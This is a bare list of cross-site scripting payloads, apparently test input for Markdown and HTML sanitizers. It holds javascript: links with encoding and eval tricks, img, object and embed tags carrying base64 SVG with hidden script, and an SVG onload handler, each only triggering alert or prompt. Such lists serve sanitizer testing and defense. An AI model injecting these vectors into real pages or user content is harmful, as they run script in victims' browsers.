Markdown

[test](javascript:prompt(1234))
[test](Javascript:alert(1234))
[test](javascript://www.google.com%0Aalert(1234))
[test](javascript:prompt`1234`)
[test](javascript://www.google.com%0Aprompt(1234))
[test](javascript:eval(`prompt(1234)`))
[![test](?)](javascript:prompt(1234))
[test](javascript:Function('prompt(1234)')())

HTML

<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDIwMDEwOTA0Ly9FTiIKICJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy1TVkctMjAwMTA5MDQvRFREL3N2ZzEwLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgNjQgNjQiIHdpZHRoPSI2NCIgaGVpZ2h0PSI2NCI+CiAgPHN0eWxlPgogICAgLnN0YXItb3V0bGluZSB7IGZpbGw6ICMyZDQ4MjE7IH0KICAgIC5zdGFyLW1haW4geyBmaWxsOiAjNDQ2OTNkOyB9CiAgICAuc3Rhci1oaWdobGlnaHQgeyBmaWxsOiAjOGE5YjY5OyB9CiAgICAuc3Rhci1zaGluZSB7IGZpbGw6ICNlMmYzZTQ7IH0KICA8L3N0eWxlPgogIDxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEyIDEyKSI+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1vdXRsaW5lIiBwb2ludHM9IjIwLDAgMjUsMTQgNDAsMTQgMjgsMjIgMzIsMzYgMjAsMjggOCwzNiAxMiwyMiAwLDE0IDE1LDE0Ii8+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1tYWluIiBwb2ludHM9IjIwLDMgMjQsMTQgMzYsMTQgMjYsMjEgMzAsMzMgMjAsMjYgMTAsMzMgMTQsMjEgNCwxNCAxNiwxNCIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItaGlnaGxpZ2h0IiBwb2ludHM9IjIwLDUgMjMsMTMgMzIsMTMgMjUsMTkgMjcsMjkgMjAsMjQgMTMsMjkgMTUsMTkgOCwxMyAxNywxMyIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItc2hpbmUiIHBvaW50cz0iMjIsOSAyNCwxNCAyOCwxNCAyNCwxOCAyNiwyMiAyMiwyMCAxOCwyMiAyMCwxOCAxNiwxNCAyMCwxNCIvPgogIDwvZz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlhbGVydCgxMjMpOwoJPC9zY3JpcHQ+Cjwvc3ZnPgo=">
<object data="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDIwMDEwOTA0Ly9FTiIKICJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy1TVkctMjAwMTA5MDQvRFREL3N2ZzEwLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgNjQgNjQiIHdpZHRoPSI2NCIgaGVpZ2h0PSI2NCI+CiAgPHN0eWxlPgogICAgLnN0YXItb3V0bGluZSB7IGZpbGw6ICMyZDQ4MjE7IH0KICAgIC5zdGFyLW1haW4geyBmaWxsOiAjNDQ2OTNkOyB9CiAgICAuc3Rhci1oaWdobGlnaHQgeyBmaWxsOiAjOGE5YjY5OyB9CiAgICAuc3Rhci1zaGluZSB7IGZpbGw6ICNlMmYzZTQ7IH0KICA8L3N0eWxlPgogIDxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEyIDEyKSI+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1vdXRsaW5lIiBwb2ludHM9IjIwLDAgMjUsMTQgNDAsMTQgMjgsMjIgMzIsMzYgMjAsMjggOCwzNiAxMiwyMiAwLDE0IDE1LDE0Ii8+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1tYWluIiBwb2ludHM9IjIwLDMgMjQsMTQgMzYsMTQgMjYsMjEgMzAsMzMgMjAsMjYgMTAsMzMgMTQsMjEgNCwxNCAxNiwxNCIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItaGlnaGxpZ2h0IiBwb2ludHM9IjIwLDUgMjMsMTMgMzIsMTMgMjUsMTkgMjcsMjkgMjAsMjQgMTMsMjkgMTUsMTkgOCwxMyAxNywxMyIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItc2hpbmUiIHBvaW50cz0iMjIsOSAyNCwxNCAyOCwxNCAyNCwxOCAyNiwyMiAyMiwyMCAxOCwyMiAyMCwxOCAxNiwxNCAyMCwxNCIvPgogIDwvZz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlhbGVydCgxMjMpOwoJPC9zY3JpcHQ+Cjwvc3ZnPgo=">
<embed src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDIwMDEwOTA0Ly9FTiIKICJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy1TVkctMjAwMTA5MDQvRFREL3N2ZzEwLmR0ZCI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgNjQgNjQiIHdpZHRoPSI2NCIgaGVpZ2h0PSI2NCI+CiAgPHN0eWxlPgogICAgLnN0YXItb3V0bGluZSB7IGZpbGw6ICMyZDQ4MjE7IH0KICAgIC5zdGFyLW1haW4geyBmaWxsOiAjNDQ2OTNkOyB9CiAgICAuc3Rhci1oaWdobGlnaHQgeyBmaWxsOiAjOGE5YjY5OyB9CiAgICAuc3Rhci1zaGluZSB7IGZpbGw6ICNlMmYzZTQ7IH0KICA8L3N0eWxlPgogIDxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEyIDEyKSI+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1vdXRsaW5lIiBwb2ludHM9IjIwLDAgMjUsMTQgNDAsMTQgMjgsMjIgMzIsMzYgMjAsMjggOCwzNiAxMiwyMiAwLDE0IDE1LDE0Ii8+CiAgICA8cG9seWdvbiBjbGFzcz0ic3Rhci1tYWluIiBwb2ludHM9IjIwLDMgMjQsMTQgMzYsMTQgMjYsMjEgMzAsMzMgMjAsMjYgMTAsMzMgMTQsMjEgNCwxNCAxNiwxNCIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItaGlnaGxpZ2h0IiBwb2ludHM9IjIwLDUgMjMsMTMgMzIsMTMgMjUsMTkgMjcsMjkgMjAsMjQgMTMsMjkgMTUsMTkgOCwxMyAxNywxMyIvPgogICAgPHBvbHlnb24gY2xhc3M9InN0YXItc2hpbmUiIHBvaW50cz0iMjIsOSAyNCwxNCAyOCwxNCAyNCwxOCAyNiwyMiAyMiwyMCAxOCwyMiAyMCwxOCAxNiwxNCAyMCwxNCIvPgogIDwvZz4KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlhbGVydCgxMjMpOwoJPC9zY3JpcHQ+Cjwvc3ZnPgo=">
 <Svg><Svg OnLoad=alert(123)>